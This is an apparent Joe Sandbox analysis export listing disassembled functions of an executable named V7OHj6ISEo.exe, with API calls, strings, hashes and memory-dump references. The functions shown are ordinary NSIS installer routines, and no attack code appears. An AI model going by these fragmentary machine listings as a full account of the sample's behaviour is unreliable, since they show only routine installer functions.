Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\V7OHj6ISEo.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

[Rename], xrefs: 0040611D, 0040612F
%ls=%ls, xrefs: 004060A9

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 0040667C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,"C:\Users\user\Desktop\V7OHj6ISEo.exe",00403480,C:\Users\user~1\AppData\Local\Temp\,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,"C:\Users\user\Desktop\V7OHj6ISEo.exe",00403480,C:\Users\user~1\AppData\Local\Temp\,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,"C:\Users\user\Desktop\V7OHj6ISEo.exe",00403480,C:\Users\user~1\AppData\Local\Temp\,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE
"C:\Users\user\Desktop\V7OHj6ISEo.exe", xrefs: 0040667C
C:\Users\user~1\AppData\Local\Temp\, xrefs: 0040667D, 00406682

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\V7OHj6ISEo.exe"$*?|<>/":$C:\Users\user~1\AppData\Local\Temp\
API String ID: 589700163-1004474410
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(00000000,00000064,00002A63), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 7556161D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,755621EC,?,00000808), ref: 75561635
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,755621EC,?,00000808), ref: 7556163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,755621EC,?,00000808), ref: 75561650
GetProcAddress.KERNEL32(!Vu,00000000), ref: 75561657
GlobalFree.KERNEL32(00000000), ref: 75561660

Strings

!Vu, xrefs: 75561653

Memory Dump Source

Source File: 00000001.00000002.1884142121.0000000075561000.00000020.00000001.01000000.00000004.sdmp, Offset: 75560000, based on PE: true

Associated: 00000001.00000002.1884110487.0000000075560000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884190450.0000000075564000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884228003.0000000075566000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_75560000_V7OHj6ISEo.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID: !Vu
API String ID: 1148316912-3730723520
Opcode ID: ea5b77295a3158fb19089368d03e52fa2814892edeac523a00b89d7b66fe7c03
Instruction ID: 199b84348925ef1a285711d6d68ba87886187f57e72ab713a2ea0b3c1f828a27
Opcode Fuzzy Hash: ea5b77295a3158fb19089368d03e52fa2814892edeac523a00b89d7b66fe7c03
Instruction Fuzzy Hash: 41F01273516178BBD62016EB8C4CD9B7E9CDF8B6F5B110212F61896190CA615C01D7F1

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 75562569 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 7556121B: GlobalAlloc.KERNELBASE(00000040,?,7556123B,?,755612DF,00000019,755611BE,-000000A0), ref: 75561225

GlobalFree.KERNEL32(?), ref: 75562657
GlobalFree.KERNEL32(00000000), ref: 7556268C

Memory Dump Source

Source File: 00000001.00000002.1884142121.0000000075561000.00000020.00000001.01000000.00000004.sdmp, Offset: 75560000, based on PE: true

Associated: 00000001.00000002.1884110487.0000000075560000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884190450.0000000075564000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884228003.0000000075566000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_75560000_V7OHj6ISEo.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: f2bff57402571915155fabec588338ea8ab060d89aaeb7bfc22d9665287acd7e
Instruction ID: aeec48cc782e802233461963228944115eac4f043049924af2be26a5b3bdcfbd
Opcode Fuzzy Hash: f2bff57402571915155fabec588338ea8ab060d89aaeb7bfc22d9665287acd7e
Instruction Fuzzy Hash: B931D0326141C1EFCB16DF59C8D4D2A77B6FB85F50320462EF9428B264CF32A855CBA2

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp,000000FF,C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp\System.dll,?,?,C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp,000000FF,C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp, xrefs: 004025E1
C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp$C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp\System.dll
API String ID: 3109718747-3698289660
Opcode ID: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction ID: c13fbae436403556d6c48d38c5ac6db5007ae9437622b5a65b164b2cac9ab4a1
Opcode Fuzzy Hash: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction Fuzzy Hash: FB110B72A00301BADB106BB18E8999F7664AF44359F20443BF502F21D0D9FC89416B5E

Function 755618D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 7556193A
GlobalFree.KERNEL32(?), ref: 75561ADA
GlobalFree.KERNEL32(?), ref: 75561ADF

Memory Dump Source

Source File: 00000001.00000002.1884142121.0000000075561000.00000020.00000001.01000000.00000004.sdmp, Offset: 75560000, based on PE: true

Associated: 00000001.00000002.1884110487.0000000075560000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884190450.0000000075564000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884228003.0000000075566000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_75560000_V7OHj6ISEo.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2eca508df42f53a49f4b56a7e487b997e4a47f553a2bb8eb5274fd7b666f0a48
Instruction ID: e1c2174a5a936ccf55fdbf64cef850ce10f6e3517090b6af066d005a06d34eda
Opcode Fuzzy Hash: 2eca508df42f53a49f4b56a7e487b997e4a47f553a2bb8eb5274fd7b666f0a48
Instruction Fuzzy Hash: 4D51D83AE042D59BCB02DFA4C6409BDB7B7FB84F90F00465AD807A3A54DB71AE8187D1

Function 75562394 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 755624D6

Part of subcall function 7556122C: lstrcpynW.KERNEL32(00000000,?,755612DF,00000019,755611BE,-000000A0), ref: 7556123C

GlobalAlloc.KERNEL32(00000040), ref: 7556245C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 75562477

Memory Dump Source

Source File: 00000001.00000002.1884142121.0000000075561000.00000020.00000001.01000000.00000004.sdmp, Offset: 75560000, based on PE: true

Associated: 00000001.00000002.1884110487.0000000075560000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884190450.0000000075564000.00000002.00000001.01000000.00000004.sdmpDownload File
